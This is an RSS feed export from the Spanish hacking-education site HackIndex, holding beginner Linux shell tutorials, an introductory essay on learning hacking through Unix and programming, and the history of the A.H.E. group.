<p>Hay más ficheros ocultos, pero se han omitido por comodidad, los ficheros ocultos en Unix son los que empiezan con un punto, normalmente suelen ser ficheros de configuración. De esos ficheros, hay dos, el fichero &quot;.&quot; y el fichero &quot;..&quot; que son directorios, &quot;.&quot; es el directorio en el que estamos y &quot;..&quot; es el nivel superior, o directorio padre.</p>
<p><b>TIP 4:</b> Cuando usamos más de un parámetro, normalmente se pueden agrupar con un único simbolo &quot;-&quot;</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls -alF</td>
</tr>
</table>
<p>Siguiendo con el tema de los parámetros, el shell del sistema operativo, no mete a los programas los parámetros tal y como nosotros se los damos, tiene que mirar si existen unos caracteres especiales llamados metacaracteres. Un metacaracter, es el símbolo &quot;*&quot;, cuando pasamos un asterisco como parámetro a un programa, el sistema operativo lo sustituye por los nombres de todos los ficheros que existen en el directorio.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ cd directorio<br />
[directorio]$ touch fichero1<br />
[directorio]$ touch fichero2<br />
[directorio]$ cd ..<br />
[genaro]$ mkdir dir2<br />
[genaro]$ touch fichero3<br />
[genaro]$ touch fichero4<br />
[genaro]$ touch fichero5<br />
[genaro] ls *<br />
fichero3 fichero4 fichero5<br />
directorio:<br />
fichero1 fichero2<br />
dir2:<br />
[genaro]$ _</td>
</tr>
</table>
<p>La órden ls * en nuestro caso, equivalía a &quot;ls directorio dir2 fichero3 fichero4 fichero5&quot;. El caracter asterisco, naturalmente también se puede usar como comodín de varios caracteres.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls *.txt</td>
</tr>
</table>
<p>Otro metacaracter es el símbolo &quot;?&quot; que sustituye a un caracter.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls fichero?<br />
fichero3 fichero4 fichero5</td>
</tr>
</table>
<p>Para más información se puede consultar &quot;man bash&quot;. La semana que viene, Mario Brosh</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-ii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Introducción</title>
		<link>http://www.hackindex.com/index.php/2001/06/introduccion/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/introduccion/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:06:06 +0000</pubDate>
		<dc:creator>Lecter</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[El Proyecto]]></category>
		<category><![CDATA[cultura hacker]]></category>
		<category><![CDATA[escena hispana]]></category>
		<category><![CDATA[etica hacker]]></category>
		<category><![CDATA[filosofia hacker]]></category>
		<category><![CDATA[hackear]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[hackers]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[lammer]]></category>
		<category><![CDATA[lecter]]></category>
		<category><![CDATA[underground]]></category>
		<category><![CDATA[wannabe]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=131</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: Introducción Autor: Lecter Tema: HackIndex: El Proyecto La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## http://www.hackindex.org ##<br />
#####################################<br />
Titulo: Introducción<br />
Autor: Lecter<br />
Tema: HackIndex: El Proyecto</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: http://www.hackindex.org ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>Hola, estudiantes.</p>
<p>Este pequeño documento pretende ser un prolegómeno a la iniciativa de NBK y mía también para abrir una especie de &#8220;seminarios sobre hacking&#8221;. Ya sé que la mayoría de los que estais comenzando lo que quereis es conocimiento práctico, una especie de vademecum empírico sobre cómo introducirse en lugares vedados, mirar y actuar en ellos y marchar sin dejar huellas, de cómo enmascararnos y anonimizarnos, de cómo desproteger sistemas y programas y traspasar los límites establecidos. Eso es una característica fundamental del wannabe que se manifiesta por un consiguwannabe que se manifiesta por un consiguiente estado larval donde se devora todo aquello relacionado con el &#8220;hacking&#8221; y que viene impulsado por el ímpetu de la juventud (juventud entendida como el ánimo de &#8220;comerse el mundo&#8221; &#8220;no limits&#8221;) y evidentemente por el acervo de nuestros conocimientos. Hay una diferencia fundamental entre el wannabe y el lammer; el primero considera el hacking como un fin en sí mismo y le preocupa la instrucción, el segundo lo emplea como un medio para conseguir &#8230;¿poder sobre los otros?</p>
<p>Como siempre, el hacking es neutro, es como la flor con la que la abeja prepara la miel y la araña su veneno&#8230;depende de quien lo emplee. No seré yo quien os dé sermones acerca de la conciencia del hacker ni de la ética fundamental. Eso no sirve. Pero sí quiero deciros que para llegar a buen puerto es necesaria una cierta preparación. El que no tenga unas ideas claras acerca de los fundamentos de los microprocesadores y funcionamiento de sistemas operativos debería ponerse a estudiar en seguida. Conocer vuestro hardware al dedillo, desde la placa base al último periférico&#8230;</p>
<p>Y para empezar yo os recomendaría elegir como sistema operativo algún (mal llamado) &#8220;clon&#8221; de Unix, como Linux o FreeBSD. Conseguir un aroma de Linux es muy fácil hoy: desde descargarlo por la red hasta encontrarlo en muchas de las revistas sobre informática que pululan por los quioscos (PCWorld, PCActual&#8230;Sólo Programadores Linux, Sólo Linux, Linux Actu Sólo Linux, Linux Actual)&#8230;y por supuesto también podeis comprarlo porque son realmente baratos <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> . De este modo dispondreis de clientes y servidores para muchos servicios (FTP, correo, web) y dispondreis de muchas utilidades para estudiar la seguridad del sistema (primero el vuestro). Dispondreis de la posibilidad de controlar bien vuestros puertos/servicios (TCP Wrappers, ipchains), establecer cortafuegos/proxies, enmascarar vuestra IP&#8230;y tendreis muchos sistemas para &#8220;mirar&#8221; y &#8220;ver a quien os mire&#8221; como nmap, SATAn, SAINT, &#8230;</p>
<p>Además podreis usar multitud de lenguajes de programación (FreePascal, C/C++, XBasic, Fortran, Lisp, Perl, Python, Java, Tcl/Tk&#8230;) que no os costarán ni un duro (aunque los comerciales de Windows tampoco, si empleais el lado oscuro de la fuerza). Además, Linux convive sin problemas con Windows. En cuanto a la edición de textos, el sistema tex/latex/pdflatex permite la elaboración de documentos de excelente calidad. Los &#8220;lenguajes de marcas&#8221; como el sgml/DockBook, xml que utilizan la filosofía del parsing de un DTD (Definición tipo documento) permiten pasar el texto a cualquier formato (rtf, html, latex&#8230;).</p>
<p>Una vez que os encontreis a gusto en linux, deberíais profundizar en algún lenguaje de programación. Eric Raymond sugiere comenzar con HTML, pero es conveniente, perl, Python o C y para el trasiego de internet Java (o emplear cgis escritos en Perl o C). Yo soy ya un pureta (comencé coya un pureta (comencé con el Fortran IV cuando había que hacer el debugging con las tarjetas perforadas) y se me nota el anquilosamiento, pero no me importa deciros que si es posible huyais de los &#8220;front-ends&#8221;, de los gestores que hacen casi todo por tí. Yo sé que cuesta bastante hacerse una páguna web &#8220;a mano&#8221; escribiendo el código HTML (coen el editor vi o emacs, encima) que escogiendo un asistente para la creación de páginas web. También es más fácil usar lyx para crear tus documentos latex, tex o pdf, que escribir a mano los macros de tex (latex)&#8230;pero entonces habrás aprendido a usar el código. Si puedes lee mucho código. Aprende primero algo sencillo como la programación en shell (bash por ejemplo), y escribe tus propios guiones&#8230;muchos ataques se basan en troyanos basados en shellscripts. Después te será muy fácil pasar a Perl&#8230; y te darás cuenta que cada lenguaje que aprendas te proporcionará una visión diferente pero complementaria de las posibilidades que tienes frente al sistema.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/introduccion/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Nuestra historia</title>
		<link>http://www.hackindex.com/index.php/2001/06/nuestra-historia/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/nuestra-historia/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:05:06 +0000</pubDate>
		<dc:creator>AHE</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[El Proyecto]]></category>
		<category><![CDATA[ahe]]></category>
		<category><![CDATA[ech]]></category>
		<category><![CDATA[el grupo]]></category>
		<category><![CDATA[escena hispana]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[historia]]></category>
		<category><![CDATA[underground]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=114</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: Nuestra historia Autor: AHE Tema: HackIndex: El Proyecto La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
##                                 HACKINDEX                               ##<br />
##                     <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: Nuestra historia<br />
Autor: AHE<br />
Tema: HackIndex: El Proyecto</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>A.H.E. (Alea Hackta Est) es un grupo de Seguridad Informática dedicado fundamentalmente a proyectos educativos relacionados con seguridad en redes y sistemas informáticos y hacking ético en general.</p>
<p>Nuestra intención es aprender todo lo que se pueda, y de paso enseñar, o al menos ayudar a los demás a aprender acerca de estos temas, huyendo, en general, del oscurantismo en informática y de la figura del hacker como delincuente o como ser omnipotente y omnisciente en informática.</p>
<p>Ahora, contando un poco mas de historia:</p>
<p>El grupo surgió de la USENET, del foro es.comp.hackers. En este grupo, que a lo largo de su historia ha pasado por momentos donde ha habido conversaciones de gran nivel y otros momentos donde ha sido imposible encontrar nada más que publicidad, provocaciones, preguntas de cómo desproteger algún programa comercial, cómo hackear un correo de hotmail, etc&#8230; y mensajes similares, muy distintos a lo que debería ser el contenido del grupo, vivía al comienzo del año 2000 uno de sus momentos álgidos.</p>
<p>En él se reunía habitualmente un grupo de gente diversa, algunos con un alto nivel técnico, como Drizzt, Agustín MuNoz, NBK, Lecter, David Martínez, Lokutus, CrinO o Spinnet, otros que estaban empezando, como [OMG], Isocrono o Seldon, además de otros habituales de las conversaciones del grupo, como Santiago (milon), Haste, Vladimir y otros muchos&#8230;</p>
<p>A raíz de las muchos mensajes de alto nivel técnico que había en el grupo, se inició un hilo de mensajes bajo el título de FOR YOUR EYES ONLY en el que se quiso iniciar un proyecto de hacking hispano con la intención de servir de guía básica a los novatos en el tema del hacking y de perfeccionamiento para el hacker, por lo que debería iniciarse desde los niveles más básicos, y seguir hasta alcanzar los conocimientos más avanzados en esta especie de Macro-curso: El <strong>proyecto HackIndex</strong>. En ese hilo de mensajes se hicieron muchas propuestas sobre las líneas que debería seguir el proyecto HackIndex, y fueron recogidas en un listado llamado Temas en desarrollo. A partir de entonces empezaron a llegar artículos, y NBK los recogió en su página web <a href="http://nbk.hackindex.org/">http://nbk.hackindex.org</a>, y [OMG] y CrinO a su vez los recogieron en las suyas, <a href="http://members.es.tripod.de/omg/">http://members.es.tripod.de/omg/</a> y <a href="http://crino.hackindex.org">http://crino.hackindex.org</a> respectivamente, que se pueden considerar como las primeras web de HackIndex.</p>
<p>Con el tiempo, la situación del grupo fue empeorando. Junto a los mensajes relacionados con el hacking, que cada vez eran más, también aumentaban los mensajes de provocadores, spammers, pidones, etc&#8230; hasta tal punto que resultaba casi imposible encontrar los mensajes interesantes entre tanta basura. Por eso, y copiando el método seguido por otros habitantes del grupo en épocas pasadas, se marcaron los mensajes relacionados con el tema del grupo con la etiqueta [OnTopic] para designar que el mensaje estaba dentro del tema del grupo, y la inicial de la temática. Así por ejemplo, la etiqueta [H][OnTopic] designaba los mensajes con el tema hacking de interés dentro de la temática del grupo.</p>
<p>Sin embargo, la situación siguió empeorando, hasta el punto de tener que descargar más de 200 mensajes diarios para luego encontrar no más de 10 de interés para un hacker o un futuro hacker. Así las cosas, NBK creó la lista HackIndex el día 8 de Agosto de 2000, una lista moderada para evitar los abusos de que era víctima el grupo es.comp.hackers. El objetivo de esta lista era lograr que fuera lo que hubiéramos querido que fuera es.comp.hackers, objetivo que creemos que se ha cumplido.</p>
<p>A los pocos días de creada la lista, y ante el crecimiento que estaba teniendo, ya que en los primeros días se subscribieron más de 100 personas, se sumó a la moderación Seldon, y hasta este momento el dúo NBK-Seldon ha sido el moderador de la lista. En esos primeros días de la lista se puede considerar que nació AHE como grupo. Estaba formado en un principio por quienes intervenían en las conversaciones de es.comp.hackers y decidieron mudarse a la lista desde el primer momento. Estaba compuesto exclusivamente por españoles, a pesar de ser cada vez más los hispanos de otros lugares, sobre todo argentinos, los que formaban parte de la lista. También se creó la primera web oficial del grupo, <a href="http://go.to/hackindex">http://go.to/hackindex</a>, hospedada en un servidor gratuito y basada en el diseño de las páginas de NBK y CrinO. Cuando más tarde se pensó en actualizar el diseño, y además surgió la posibilidad, gracias a NBK, de hospedarla en un servidor administrado por nosotros, se produjo la primera ampliación de AHE, para acometer la tarea de crear la nueva página, que finalmente fue diseñada por Pistone, y alojada en el dominio http://www.hackindex.org</p>
<p>El día 24 de Marzo de 2001 se creó CrackIndex, dedicada a la ingeniería inversa y a la programación en ensamblador, con el objetivo de servir de punto de reunión común para todos los grupos de cracking hispano, ya que el número de mensajes de HackIndex de temática hacking cohibían a quienes podían enviar los de temática cracking, y por el mismo motivo de la imposibilidad de intercambiar y transmitir conocimientos de esta rama en es.comp.cracks y foros similares. A pesar de arrastrar el calificativo de &#8220;hermana pequeña de HackIndex&#8221;, lo cierto es que es una lista de gran nivel en la que se ha reunido gente muy importante de la escena hispana, y donde están representados con uno o varios miembros todos los grupos de cracking hispanos.</p>
<p>La lista CrackIndex está moderada por Marmota, y es sin duda gracias a su esfuerzo por lo que CrackIndex ha superado todas las previsiones de participación y calidad, y puede considerarse que, a pesar de contar con bastantes menos miembros y mensajes, la calidad de esta lista es superior, o al menos igual, que la de HackIndex.</p>
<p>Y bueno&#8230; el grupo&#8230;&#8221;somos todos los que estamos pero no estamos todos los que son&#8221; como se suele decir. En A.H.E hay gente que ha salido y otra que ha entrado, formado por gente de varios países, lo cual nos alegra mucho y nos enriquece. A.H.E no es un grupo cerrado, sino que aceptamos a cualquiera que quiera formar parte de él, con la condición de aportar algo como un artículo o un programa, y el compromiso de seguir haciéndolo en el futuro. Somos un grupo muy heterogéneo, en cuanto a edades, experiencia, profesiones, etc&#8230; Pero tenemos un denominador común: La pasión por la informática en todas sus ramas.</p>
<p>Y ya concluyendo, tenemos varios proyectos para el futuro, otros ya en desarrollo y el objetivo de llenar la página con ellos de una vez&#8230; pero cada uno tiene una vida privada y no podemos dedicar más que nuestro tiempo libre al proyecto, y por desgracia la inmensa mayoría del grupo no disfruta apenas de tiempo libre, por lo cual vamos despacio&#8230;. despacio pero constante, nos queda mucha guerra que dar aun.</p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/nuestra-historia/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La pantalla negra I</title>
		<link>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-i/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/la-pantalla-negra-i/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:04:54 +0000</pubDate>
		<dc:creator>Lokutus</dc:creator>
				<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[curso de linux]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[lokutus]]></category>
		<category><![CDATA[sistemas operativos]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=83</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: La pantalla negra I Autor: Lokutus Tema: Linux La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información. El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
##                                 HACKINDEX                               ##<br />
##                     <a href="http://www.hackindex.org">http://www.hackindex.org</a>                    ##<br />
#####################################<br />
Titulo: La pantalla negra I<br />
Autor: Lokutus<br />
Tema: Linux</p>
<p>La información incluída en este documento es expuesta en base a un interés educativo. HackIndex no se hace responsable del uso de dicha información.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuído de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificación alguna.</p>
<p>Queda extrictamente prohibida su distribución con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p><b>Requerimientos:</b><br />
Un Linux instalado funcionando con una cuenta de usuario, que se compone de un Login (nombre), y un password (contraseña), Ese Linux debe de arrancar en modo consola, sin las X. Es aconsejable que sea una versión castellanizada con las páginas del manual del proyecto Lucas.</p>
<p>Encendemos el ordenador, apretando a ese botón que pone Power, el sistema operativo arranca, y al cabo de un rato veremos la pantalla de color negro y un mensaje similar a:</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>Linux Debian (Potatoe)<br />
Login:</td>
</tr>
</table>
<p>¿No ve nada?, compruebe si el pilotito del monitor está encendido, si no es así, pulse el botón gordo. ¿Problema subsanado?, bien empezamos.</p>
<p>Escribimos el login, cada vez que pulsamos una tecla, aparecerá en pantalla el caracter correspondiente,</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>Linux Debian (Potatoe)<br />
Login: genaro</td>
</tr>
</table>
<p>Y ahora, ¿Como decimos que hemos acabado de introducir el nombre?, con la tecla &quot;Intro&quot; que está en el teclado numérico, el de la derecha, debajo de la tecla &quot;+&quot;. Un equivalente a este tecla es la tecla gorda que tiene una flecha en forma de L apuntando a la izquierda, la que está justo encima de la tecla de mayúsculas izquierda. Esta tecla también se llama retorno de carro, o CR de &quot;Carriage Return&quot;.</p>
<p>Despues de introducir el login, nos pide el password.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>Linux Debian (Potatoe)<br />
Login: genaro<br />
password:</td>
</tr>
</table>
<p>Es este caso, no veremos los caracteres que tecleamos, si nos confundimos en el password o en el login, no nos dirá en que nos hemos confundido y tendremos que teclear las dos cosas.</p>
<p>¿Ya hemos entrado?, bien podemos comenzar. En primer lugar y si nunca ha tenido contacto con un interfaz en modo consola, Linux es como un chat o IRC, pero en lugar de hablar con otras personas que están conectadas al IRC, hablamos con el sistema operativo.</p>
<p>Observamos que en la pantalla, sólo vemos un mensaje y un cursor parpadeante:</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ _</td>
</tr>
</table>
<p>Ese mensajito, es el llamado &quot;prompt&quot;, traducido como simbolo del sistema, y quiere decir, que el sistema operativo, está preparado y listo para aceptar órdenes, o sea, escribimos algo, pulsamos retorno de carro y el sistema operativo, nos responde, y vuelve a aparecer el shell para que podamos decir más cosas.</p>
<p>Si pulsamos varias veces la tecla de retorno de carro sin decir nada, se escribe más veces el símbolo del sistema.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$<br />
[genaro]$<br />
[genaro]$<br />
[genaro]$<br />
[genaro]$ _</td>
</tr>
</table>
<p>Comenzamos a trabajar.<br />
[Siempre pulsamos retorno de carro para acabar una órden]</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ naz, que pasa tronco?<br />
bash: naz,:<br />
command not found</td>
</tr>
</table>
<p>Parece que no nos ha hecho mucho caso, lo mismo hay que hablarle en giri.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ hello, what&#8217;s the matter?<br />
bash: hello:<br />
command not found</td>
</tr>
</table>
<p>¿Qué es lo que pasa?, que el sistema operativo no es un sistema experto, no podemos hablar con el como si fuera otra persona, tenemos que introducirle órdenes, el se las traga, hace lo que tenga que hacer y escribe en pantalla los resultados.</p>
<p>Vamos a comenzar con una primera órden. &quot;clear&quot;.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ CLEAR<br />
bash: CLEAR:<br />
command not found</td>
</tr>
</table>
<p>Ops, parece que no funciona, ¿por qué?, ¿tiene que ser en minúsculas?, pues si.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ clear</td>
</tr>
</table>
<p>Y la pantalla se nos limpia, de todas formas si pulsamos la combinación de teclas Control + L, se nos limpia la pantalla también.</p>
<p><b>TIP 1:</b> Linux distingue las mayúsculas de las minúsculas</p>
<p>La siguiente órden, &quot;ls&quot;, lista el contenido de un directorio, un directorio es el equivalente a una carpeta de trabajo, como las que tenemos en Windows, solo que no la vemos en una ventana. &quot;ls&quot; viene de la contracción de la palabra inglesa &quot;list&quot;, en castellano &quot;LiStar&quot;.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls<br />
[genaro]$ _</td>
</tr>
</table>
<p>¿Qué ha pasado?, ¿no ha funcionado?, por lo visto no hay ningún fichero en la carpeta en la que estamos y por lo tanto no ha devuelto nada.</p>
<p><b>TIP 2:</b> Cuando Linux no tiene nada que decir, no dice nada.</p>
<p>Si no tenemos ficheros, pues nos lo hacemos, vamos a empezar por otra carpeta.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ mkdir mi carpeta<br />
[genaro]$</td>
</tr>
</table>
<p>Y vamos a ver si la ha creado.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ ls<br />
carpeta mi<br />
[genaro]$</td>
</tr>
</table>
<p>Opssss, ¿ha puesto el nombre del directorio al reves?, no, resulta que ha creado dos directorios, un directorio &quot;mi&quot; y un directorio &quot;carpeta&quot;, vamos a intentarlo de otra forma:</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ mkdir &quot;mi carpeta&quot;<br />
[genaro]$ ls<br />
carpeta mi mi carpeta<br />
[genaro]_</td>
</tr>
</table>
<p>dabuten, si queremos cambiar de directorio, usamos la órden &quot;cd&quot;.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro]$ cd<br />
carpeta<br />
[carpeta]$ _</td>
</tr>
</table>
<p>Observamos, que el prompt ha cambiado, indicando el directorio en el que estamos, en cualquier momento podemos hallar el directorio en el cual estamos situados usando la órden pwd.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[carpeta]$ pwd<br />
/home/genaro/carpeta<br />
[carpeta]$ _</td>
</tr>
</table>
<p>El mensaje que nos ha respondido quiere decir, que estamos en el directorio carpeta, que está dentro del directorio genaro que a su vez está en el directorio home. Linux, al igual que todos los Unix, utiliza para separar los directorios el símbolo correcto, o sea el &quot;/&quot;, &#8216;backslack&#8217;, de hecho es el que se utiliza en los URL de internet.</p>
<p>El directorio más alto de todos, es el directorio &quot;/&quot;, llamado directorio raiz, un directorio, puede contener varios directorios, llamados subdirectorios, o directorios hijos, pero un directorio hijo, o subdirectorio, no puede contener varios directorios padres. Para subir en la jerarquía de directorios, podemos teclear.</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[carpeta] cd ..<br />
[genaro] _</td>
</tr>
</table>
<p>Los dos puntitos separados del cd, pues de lo contrario, no se reconocerá la órden. También podíamos haber dado el camino completo, veamos como:</p>
<table style="FONT-SIZE: x-small; MARGIN-LEFT: 2em; WIDTH: 95%; COLOR: white; MARGIN-RIGHT: 2em; FONT-FAMILY: Courier New, serif; BACKGROUND-COLOR: black">
<tr>
<td>[genaro] cd -<br />
[carpeta] cd /home/genaro<br />
[genaro] _</td>
</tr>
</table>
